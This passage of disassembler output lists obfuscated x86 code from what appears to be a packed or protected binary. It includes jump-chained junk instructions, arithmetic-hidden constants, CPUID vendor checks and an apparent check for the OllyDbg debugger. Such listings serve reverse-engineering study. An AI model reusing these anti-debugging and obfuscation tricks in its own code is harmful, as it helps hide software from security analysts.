; END OF FUNCTION CHUNK	FOR sub_4266EF

; =============== S U B	R O U T	I N E =======================================



sub_42C6B1	proc near		; CODE XREF: sub_42C6C3+1170p
					; sub_424DA0+A420p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042A1AA SIZE 00000012 BYTES

		jnz	loc_42A1AA
		xchg	ebp, edi
		push	edi
		xchg	ebp, edi
		mov	ebp, esp
		jmp	loc_42BDAF
sub_42C6B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C6C3	proc near		; DATA XREF: sub_42760F:loc_42D48Co

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042484F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428E74 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042979E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B261 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042D81C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0042E29C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042E82E SIZE 00000005 BYTES

		add	eax, 2F309CFCh
		mov	eax, [eax]
		push	eax
		call	sub_42B855
		mov	eax, [ebp-4]
		jmp	loc_42484F
sub_42C6C3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D4FD


loc_42C6D9:				; CODE XREF: sub_42D4FD-2B1Bj
		jnz	loc_42B16D
		jmp	loc_42D564
; END OF FUNCTION CHUNK	FOR sub_42D4FD
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp]
		rol	eax, 3
		mov	ds:dword_42F0B4, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C43B


loc_42C6F4:				; CODE XREF: sub_42C43B+14j
		jmp	loc_424455
; END OF FUNCTION CHUNK	FOR sub_42C43B

; =============== S U B	R O U T	I N E =======================================



sub_42C6F9	proc near		; CODE XREF: sub_42ACD6+4p

; FUNCTION CHUNK AT 0042E06C SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_42F084


loc_42C706:				; CODE XREF: sub_42B8FC:loc_42C129j
		push	offset loc_42E9B0
		jmp	loc_42E06C
sub_42C6F9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42C710:				; CODE XREF: wto1jq8f:0042AD63j
		jz	loc_42A4FD
		xchg	edx, [ebx]
		jmp	sub_426968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426842


loc_42C71D:				; CODE XREF: sub_426842+1j
					; wto1jq8f:0042AD58j
		jg	loc_429EE5
		test	ebx, eax
		jmp	loc_429700
; END OF FUNCTION CHUNK	FOR sub_426842
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DEFF


loc_42C72A:				; CODE XREF: sub_42DEFF:loc_42C660j
		add	eax, ebp
		add	eax, 6D7917C9h
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_4265DB


loc_42C73E:				; CODE XREF: sub_42CB36-7E23j
					; sub_42E9E8-7EE9j ...
		jnb	loc_42CABD
		cmp	dword ptr [ebp-4], 2
		jnz	loc_426545
		lea	eax, [ebp-26Fh]
		jmp	loc_427949
; END OF FUNCTION CHUNK	FOR sub_42DEFF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_221. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42C75A:				; CODE XREF: sub_42C486+C08j
		jmp	loc_4245C3
; END OF FUNCTION CHUNK	FOR sub_42C486

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C75F	proc near		; CODE XREF: sub_4276C3:loc_428897p
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		mov	ebp, offset loc_42EDDD
		xchg	ebp, [esp+0]
		jmp	nullsub_69
sub_42C75F	endp

; ---------------------------------------------------------------------------


loc_42C772:				; CODE XREF: wto1jq8f:00428FE3j
		jnz	loc_42B4E8
		jmp	loc_42D16C
; ---------------------------------------------------------------------------
		push	edi
		shl	edi, 6
		jmp	sub_42F50F

; =============== S U B	R O U T	I N E =======================================



sub_42C786	proc near		; CODE XREF: wto1jq8f:00425F10j
					; sub_42E076+9p

; FUNCTION CHUNK AT 00427BE7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042F15E SIZE 00000005 BYTES

		mov	[esp+0], eax
		pop	eax
		mov	dword ptr [ecx], 10001h
		lea	eax, sub_427BF1
		jmp	loc_42F15E
sub_42C786	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ebx, [esi]
		test	ebx, eax
		jmp	loc_42D197
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_42C7A4:				; CODE XREF: sub_4266B1:loc_42EFC5j
		pop	edi
		push	0F62D143h
		pop	eax
		add	eax, 0F0DFC429h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_428730
		jmp	loc_42B1FA
; END OF FUNCTION CHUNK	FOR sub_4266B1
; ---------------------------------------------------------------------------


loc_42C7C0:				; DATA XREF: sub_429BD3-4F7Bo
		push	ecx
		pushf
		push	1CB6C4C7h
		pop	ecx
		add	ecx, 0E38BDBEAh
		popf
		xchg	ecx, [esp]
		jmp	sub_428183
; ---------------------------------------------------------------------------


loc_42C7D7:				; CODE XREF: wto1jq8f:0042FA29j
		jnz	loc_42A244
		and	esi, 24AAD6DAh
; START	OF FUNCTION CHUNK FOR sub_42E04D


loc_42C7E3:				; CODE XREF: sub_42E04D+236j
		mov	eax, esi


loc_42C7E5:				; CODE XREF: wto1jq8f:loc_42802Ej
		push	edi
		push	0D932FFA9h
		jmp	loc_42A5EC
; END OF FUNCTION CHUNK	FOR sub_42E04D
; ---------------------------------------------------------------------------


loc_42C7F0:				; CODE XREF: wto1jq8f:loc_42D412j
		xor	ebp, 0E60A1371h
		jp	loc_4266F6
		sbb	eax, edi
		jmp	loc_42D974
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_42C803:				; CODE XREF: sub_42A6CD:loc_42EB14j
		mov	byte ptr [eax+edx], 0
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 100h
		jnz	loc_425E60
		jmp	loc_428D1D
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; ---------------------------------------------------------------------------
		jnp	loc_42D926
		not	eax
		jmp	sub_428295
; ---------------------------------------------------------------------------


loc_42C829:				; DATA XREF: sub_4273F7+5o
		mov	edx, 0C90D1845h
		call	sub_429165
		push	offset loc_42C54C
		jmp	loc_4270CB
; ---------------------------------------------------------------------------


loc_42C83D:				; CODE XREF: wto1jq8f:loc_42EC74j
		or	ecx, 0F0B210D0h
		add	ecx, 5504F83h
		xchg	ecx, [esp]
		jmp	sub_42AECE
; ---------------------------------------------------------------------------


loc_42C851:				; CODE XREF: wto1jq8f:0042AFBAj
		jo	loc_42672F
		shr	eax, 1

; =============== S U B	R O U T	I N E =======================================



sub_42C859	proc near		; CODE XREF: sub_4262F5:loc_42B125p

; FUNCTION CHUNK AT 004281F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B1AF SIZE 0000001E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jmp	loc_4281F0
sub_42C859	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_199. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FF9A


loc_42C863:				; CODE XREF: sub_42FF9A+7j
		jmp	loc_42C9A1
; END OF FUNCTION CHUNK	FOR sub_42FF9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CD35


loc_42C868:				; CODE XREF: sub_42CD35+167Cj
		jmp	loc_42C1CB
; END OF FUNCTION CHUNK	FOR sub_42CD35
; ---------------------------------------------------------------------------
		and	ecx, 0B62FF943h
		jmp	sub_429308
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425CE2


loc_42C878:				; CODE XREF: sub_425CE2+6D4Aj
		jnz	loc_42948B
		jmp	loc_429DD1
; END OF FUNCTION CHUNK	FOR sub_425CE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42C883:				; CODE XREF: sub_42E9E8-A85j
		push	offset loc_426EBF
		jmp	loc_42A568
; END OF FUNCTION CHUNK	FOR sub_42E9E8

; =============== S U B	R O U T	I N E =======================================



sub_42C88D	proc near		; DATA XREF: sub_426D31+Eo

; FUNCTION CHUNK AT 00428FB7 SIZE 00000005 BYTES

		call	sub_429165
		call	sub_424585
		mov	edx, 6A74FD15h
		push	offset sub_424F31
		jmp	loc_428FB7
sub_42C88D	endp

; ---------------------------------------------------------------------------


loc_42C8A6:				; CODE XREF: wto1jq8f:loc_42660Aj
		add	eax, 0CF59C919h
		xchg	eax, ebp
		push	ebp
		xchg	eax, ebp
		jmp	loc_42D6EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42C8B6:				; CODE XREF: sub_429BFF-5859j
		jge	loc_42DA1A


loc_42C8BC:				; CODE XREF: sub_42FE77+Cj
		jmp	loc_428918
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B990


loc_42C8C1:				; CODE XREF: sub_42B990+7j
		jmp	loc_42E8E9
; END OF FUNCTION CHUNK	FOR sub_42B990
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424DA0


loc_42C8C6:				; CODE XREF: sub_424DA0+5DB6j
		jmp	sub_428C71
; END OF FUNCTION CHUNK	FOR sub_424DA0
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_425F3A
; ---------------------------------------------------------------------------


loc_42C8D1:				; CODE XREF: wto1jq8f:loc_424C05j
					; wto1jq8f:004283EAj
		add	eax, edx
		xor	eax, ebx
		add	eax, ecx
		xor	eax, esi
		jmp	loc_425F8C
; ---------------------------------------------------------------------------
		push	0A91270C4h
		jmp	sub_42F863
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F947


loc_42C8E8:				; CODE XREF: sub_42F947-B2E4j
		call	sub_429F7D
; END OF FUNCTION CHUNK	FOR sub_42F947
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_42C8ED:				; CODE XREF: sub_42A6CD+161Cj
		sbb	esi, eax
		and	ecx, esi


loc_42C8F1:				; CODE XREF: sub_42A6CD:loc_42A529j
		push	edx
		push	4CF65616h
		jmp	loc_425AB2
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42C8FC:				; CODE XREF: sub_426C0C:loc_4246F2j
		push	offset loc_42FDCC
		jmp	nullsub_129
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42C906:				; CODE XREF: sub_428333-3679j
					; sub_42506F:loc_42B424j
		jnz	loc_42E2BD
		jmp	loc_42920C
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------

locret_42C911:				; CODE XREF: wto1jq8f:0042AAF1j
		retn
; ---------------------------------------------------------------------------


loc_42C912:				; CODE XREF: wto1jq8f:0042A662j
					; wto1jq8f:0042F3ABj
					; DATA XREF: ...
		jb	loc_42B061
		mov	eax, ds:dword_429558
		mov	edx, [ebp-4]
		mov	byte ptr [eax+edx], 0
		jmp	loc_42F3A1
; ---------------------------------------------------------------------------


loc_42C929:				; CODE XREF: wto1jq8f:loc_42E712j
		xchg	ecx, [esp]
		push	ebx
		push	0A95B90DCh
		mov	ebx, offset loc_42C1A6
		jmp	loc_42C19D

; =============== S U B	R O U T	I N E =======================================



sub_42C93C	proc near		; CODE XREF: wto1jq8f:00427096j
					; wto1jq8f:0042F2DDp

; FUNCTION CHUNK AT 0042A1E9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FBAB SIZE 0000000A BYTES

		mov	[esp+0], edx
		pop	edx
		push	7BA7B4CBh
		pop	edx
		sub	edx, 5634AF61h
		jmp	loc_42FBAB
sub_42C93C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cmp	ebp, ebx
		jmp	loc_42F4E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C4E2


loc_42C958:				; CODE XREF: sub_42C4E2+17j
		call	sub_42F75D
		or	edi, esi
		jmp	sub_42A197
; END OF FUNCTION CHUNK	FOR sub_42C4E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42C964:				; CODE XREF: sub_426C0C:loc_42C3F8j
		jz	loc_42A866
		jmp	loc_42FC63
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------
		pop	ebp
		jmp	sub_42821F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4283CC


loc_42C975:				; CODE XREF: sub_4283CC:loc_42F8EBj
		xchg	eax, ebx
		push	ebx
		call	sub_42F776


loc_42C97D:				; CODE XREF: wto1jq8f:0042E279j
		jmp	loc_426159
; END OF FUNCTION CHUNK	FOR sub_4283CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C0D7


loc_42C982:				; CODE XREF: sub_42C0D7+3j
		jmp	loc_42756D
; END OF FUNCTION CHUNK	FOR sub_42C0D7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4293FF


loc_42C988:				; CODE XREF: sub_4293FF-9C3j
		jnb	loc_42D2F3
		or	eax, ecx
; END OF FUNCTION CHUNK	FOR sub_4293FF

; =============== S U B	R O U T	I N E =======================================



sub_42C990	proc near		; CODE XREF: sub_42E9E8+1ACp

; FUNCTION CHUNK AT 0042502C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004295F9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A960 SIZE 00000005 BYTES

		mov	[esp+0], edx
		pop	edx
		add	eax, 5C7D6F5Eh
		add	eax, ebp
		jmp	loc_4295F9
sub_42C990	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FF9A


loc_42C9A1:				; CODE XREF: sub_42FF9A:loc_42C863j
		push	eax
		push	edx
		push	ecx
		pushf
		jmp	loc_429AD3
; END OF FUNCTION CHUNK	FOR sub_42FF9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428D47


loc_42C9AA:				; CODE XREF: sub_428D47+1AF7j
		pushf
		push	offset sub_426AD4
		jmp	nullsub_209
; END OF FUNCTION CHUNK	FOR sub_428D47
; ---------------------------------------------------------------------------


loc_42C9B5:				; DATA XREF: sub_424585:loc_42A3D0o
		mov	eax, offset dword_42DAF4
		call	sub_42A56D
		call	sub_42C031
; START	OF FUNCTION CHUNK FOR sub_424D3A


loc_42C9C4:				; CODE XREF: sub_424D3A+8B75j
		jmp	loc_42B8EB
; END OF FUNCTION CHUNK	FOR sub_424D3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9D9


loc_42C9C9:				; CODE XREF: sub_42D9D9:loc_424924j
		jnz	loc_42ACA1
		jmp	loc_42D40D
; END OF FUNCTION CHUNK	FOR sub_42D9D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE69


loc_42C9D4:				; CODE XREF: sub_42BE69:loc_4242D1j
		mov	eax, [ebp-1Ch]
		call	sub_42AEDD


loc_42C9DC:				; DATA XREF: sub_4280E6+9o
		push	0F5404057h
		pop	eax
		add	eax, 0B026CA5h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_4296AB
		jmp	loc_42E5D7
; END OF FUNCTION CHUNK	FOR sub_42BE69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262CE


loc_42C9F7:				; CODE XREF: sub_4262CE-14DCj
		or	edx, esi
		sbb	ebx, 0E89C1A80h
		mov	ebp, edi
		test	esi, 0EC4E861Dh
		jmp	loc_42AE10
; END OF FUNCTION CHUNK	FOR sub_4262CE
; ---------------------------------------------------------------------------


loc_42CA0C:				; CODE XREF: wto1jq8f:00424426j
		ja	loc_42ED72

; =============== S U B	R O U T	I N E =======================================



sub_42CA12	proc near		; CODE XREF: sub_426E98+5556p

; FUNCTION CHUNK AT 0042EC6F SIZE 00000005 BYTES

		mov	[esp+0], esi
		pop	esi
		inc	dword ptr [ebp-1Ch]
		jmp	loc_42EC6F
sub_42CA12	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ACD6


loc_42CA1E:				; CODE XREF: sub_42ACD6+173Cj
		inc	[ebp+var_1C]
		jmp	loc_42E44A
; END OF FUNCTION CHUNK	FOR sub_42ACD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425CE2


loc_42CA26:				; CODE XREF: sub_425CE2+3589j
					; sub_4260A9+8BF7j
		inc	dword ptr [ebp-18h]
		dec	dword ptr [ebp-24h]
		jmp	loc_42C878
; END OF FUNCTION CHUNK	FOR sub_425CE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F7A


loc_42CA31:				; CODE XREF: sub_424F7A+313Bj
		push	eax
		call	sub_42D765
		retn
; END OF FUNCTION CHUNK	FOR sub_424F7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EAED


loc_42CA38:				; CODE XREF: sub_42EAED+16j
		jmp	loc_426E7D
; END OF FUNCTION CHUNK	FOR sub_42EAED

; =============== S U B	R O U T	I N E =======================================



sub_42CA3D	proc near		; CODE XREF: sub_42E676:loc_425EC2j

; FUNCTION CHUNK AT 0042491A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CDC5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F327 SIZE 0000000B BYTES

		push	ebp
		jmp	loc_42F327
sub_42CA3D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4283CC


loc_42CA43:				; CODE XREF: sub_4283CC+6B48j
		mov	[edi], esi
		jmp	loc_42A778
; END OF FUNCTION CHUNK	FOR sub_4283CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42760F


loc_42CA4A:				; CODE XREF: sub_42760F+66F1j
		mov	eax, [ebp-14h]
		push	eax
		push	28h
		push	389AE3A3h
		pop	eax
		and	eax, 1D613739h
		add	eax, 0B8CF3FDFh
		add	eax, ebp
		jmp	loc_42D48C
; END OF FUNCTION CHUNK	FOR sub_42760F
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, 8547F968h
		jmp	sub_4240DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427143


loc_42CA74:				; CODE XREF: sub_427143+7CE5j
		add	eax, 2026C03Bh
		xchg	eax, [esp+0]
		jmp	loc_42BCCA
; END OF FUNCTION CHUNK	FOR sub_427143
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_181. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B019


loc_42CA83:				; CODE XREF: wto1jq8f:00426D1Ej
					; sub_42B019+9j
		jmp	nullsub_115
; END OF FUNCTION CHUNK	FOR sub_42B019
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D343


loc_42CA88:				; CODE XREF: sub_42D343+Aj
		sub	ebx, 0A2EB8D78h
		xor	ebx, 192B2977h
		add	ebx, 0AC66E6EBh
		xchg	ebx, [esp+0]
		jmp	loc_426EC9
; END OF FUNCTION CHUNK	FOR sub_42D343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F2C7


loc_42CAA2:				; CODE XREF: sub_42F2C7:loc_4278F9j
		xor	ebx, edi
		xchg	edx, ebp
		push	ecx
		jmp	loc_42B696
; END OF FUNCTION CHUNK	FOR sub_42F2C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DEFF


loc_42CAAC:				; CODE XREF: sub_42DEFF:loc_427949j
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_4265DB
		jmp	loc_42B03D
; ---------------------------------------------------------------------------


loc_42CABD:				; CODE XREF: sub_42DEFF:loc_42C73Ej
		cmp	dword ptr [ebp-4], 2
		jnz	loc_426545
		push	92379EA8h
		pop	eax
		jmp	loc_42AA4E
; END OF FUNCTION CHUNK	FOR sub_42DEFF
; ---------------------------------------------------------------------------

locret_42CAD2:				; CODE XREF: wto1jq8f:0042EF98j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A8ED


loc_42CAD3:				; CODE XREF: sub_42A8ED-64A6j
		jmp	loc_428D32
; END OF FUNCTION CHUNK	FOR sub_42A8ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42CAD8:				; CODE XREF: sub_426C0C-19Fj
		test	ebp, ebx
		jmp	loc_42EB35
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------
		db 6Ah
dword_42CAE0	dd 0							; sub_426166+4r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428A19


loc_42CAE4:				; CODE XREF: sub_428A19-B85j
		jmp	loc_424DD4
; END OF FUNCTION CHUNK	FOR sub_428A19
; ---------------------------------------------------------------------------
		db 7Ch,	0DCh, 3Dh
dword_42CAEC	dd 0							; sub_426950+1B37r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42CAF0:				; CODE XREF: sub_426E98+DA0j
		jmp	loc_42E0A0
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
		db 2Dh,	13h, 7Fh
dword_42CAF8	dd 0							; sub_42ED01+6o
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A0E5


loc_42CAFC:				; CODE XREF: sub_42A0E5-3BB5j
		jmp	sub_42B10A
; END OF FUNCTION CHUNK	FOR sub_42A0E5
; ---------------------------------------------------------------------------
		db 0E6h, 88h, 0Dh
		align 8
; START	OF FUNCTION CHUNK FOR sub_426144


loc_42CB08:				; CODE XREF: sub_426144:loc_428328j
		jmp	nullsub_108
; END OF FUNCTION CHUNK	FOR sub_426144
; ---------------------------------------------------------------------------


loc_42CB0D:				; DATA XREF: sub_428DBE+2D86o
		call	sub_42B02D
		mov	ds:dword_42DAE4, eax
		lea	eax, [ebp-14h]
; START	OF FUNCTION CHUNK FOR sub_42C031


loc_42CB1A:				; CODE XREF: sub_42C031:loc_428A8Aj
		xor	edx, edx
		jmp	loc_42F109
; END OF FUNCTION CHUNK	FOR sub_42C031
; ---------------------------------------------------------------------------
		mov	edx, edi
		jg	loc_42FB1D
		jmp	sub_42D53B
; ---------------------------------------------------------------------------


loc_42CB2E:				; DATA XREF: sub_42F50F-540Ao
		mov	[ebp-0Ch], eax
		jmp	loc_4267C4

; =============== S U B	R O U T	I N E =======================================



sub_42CB36	proc near		; CODE XREF: sub_429B76-59EDp
					; sub_42A909-6490p ...

; FUNCTION CHUNK AT 004246CA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004246E0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00424D04 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004267E6 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042794E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042965A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042BC8F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042CD90 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042EB9E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F1E4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FB6C SIZE 00000005 BYTES

		jns	loc_42965A
		mov	eax, ds:dword_42F1CC
		or	eax, eax
		jmp	loc_4246E0
sub_42CB36	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42CB49	proc near		; DATA XREF: wto1jq8f:00428A5Do

; FUNCTION CHUNK AT 00425019 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00425A62 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426CD2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004284E1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A78A SIZE 00000018 BYTES

		and	eax, 0FFFh
		add	[esi], eax
		and	edx, 0FFFFDDFFh
		xor	[esi], edx
		push	1310AF5Dh
		pop	eax
		jmp	loc_425A62
sub_42CB49	endp


; =============== S U B	R O U T	I N E =======================================



sub_42CB63	proc near		; CODE XREF: wto1jq8f:0042CDBFj
					; sub_42D53B:loc_42F4DEp

; FUNCTION CHUNK AT 004248B8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00426043 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004262A6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426A5E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00426E89 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F8F0 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		test	byte ptr [ebp-8], 20h
		jz	loc_426A5E
		push	ebp
		mov	eax, [ebp-20h]
		jmp	loc_426E89
sub_42CB63	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D434


loc_42CB7A:				; CODE XREF: sub_42D434:loc_42A803j
		pop	eax
		xor	eax, 4CF7484Dh
		add	eax, ebp
		jmp	loc_427538
; END OF FUNCTION CHUNK	FOR sub_42D434
; ---------------------------------------------------------------------------


loc_42CB88:				; CODE XREF: wto1jq8f:loc_42C542j
		xor	[esi], ebx
		add	[esi], edx
		xor	[esi], ecx
		cmp	ebx, 756E6547h
		jz	loc_42D1F3
		cmp	ebx, 68747541h
		jz	loc_429196
		jmp	loc_42868D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42CBAB:				; CODE XREF: sub_42C486:loc_42A1C2j
		jnz	loc_425BDD
		jmp	loc_42DA2D
; END OF FUNCTION CHUNK	FOR sub_42C486
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_186. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427B3D


loc_42CBB7:				; CODE XREF: sub_427B3D+14j
		jmp	loc_427FD8
; END OF FUNCTION CHUNK	FOR sub_427B3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425944


loc_42CBBC:				; CODE XREF: sub_425944-13A0j
		jmp	nullsub_72
; END OF FUNCTION CHUNK	FOR sub_425944
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4242D6


loc_42CBC1:				; CODE XREF: sub_4242D6+6j
		jmp	loc_42AB5B
; END OF FUNCTION CHUNK	FOR sub_4242D6
; ---------------------------------------------------------------------------


loc_42CBC6:				; CODE XREF: wto1jq8f:0042663Fj
		jz	loc_4248D9
		jmp	loc_42F594

; =============== S U B	R O U T	I N E =======================================



sub_42CBD1	proc near		; CODE XREF: wto1jq8f:00428B61j
					; sub_425F4F+4EFAp

; FUNCTION CHUNK AT 00427D1C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004287EB SIZE 00000012 BYTES

		mov	[esp+0], ebx
		pop	ebx
		mov	edx, 0EEE68DF1h
		call	sub_429165
		push	eax
		rol	eax, 16h
		push	ebx
		push	0C7F79376h
		jmp	loc_427D1C
sub_42CBD1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42CBEE	proc near		; CODE XREF: sub_424351+3j
		add	esp, 0FFFFFFF8h
		mov	[ebp-1], al
		cmp	byte ptr [ebp-1], 0
		jz	loc_426A54
		mov	dword ptr [ebp-8], 1
sub_42CBEE	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42433B


loc_42CC05:				; CODE XREF: sub_42433B:loc_424B6Bj
					; sub_42433B+271Ej
		mov	eax, [ebp-8]


loc_42CC08:				; CODE XREF: wto1jq8f:0042EB73j
		pop	ecx
		pop	ecx
		jmp	loc_426A48
; END OF FUNCTION CHUNK	FOR sub_42433B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_42CC0F:				; CODE XREF: sub_426968:loc_42B141j
		push	ecx
		push	0D148CFE3h
		pop	ecx
		add	ecx, 2EF97A37h
		xchg	ecx, [esp+4+var_4]
		jmp	loc_4264EA
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------


loc_42CC24:				; DATA XREF: sub_42D9D9:loc_42D0A2o
		js	loc_426818
		cmp	dword ptr [ebp-1Ch], 0Fh
		jnz	loc_42EE9A
		push	offset loc_42BBEF
		jmp	locret_4276FB
; ---------------------------------------------------------------------------
		xchg	ebp, esi
		jmp	sub_4245FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42606D


loc_42CC45:				; CODE XREF: sub_42606D:loc_429561j
		div	ecx
		push	ecx
		push	0F35CDE1h
		pop	ecx
		jmp	loc_42B507
; END OF FUNCTION CHUNK	FOR sub_42606D
; ---------------------------------------------------------------------------
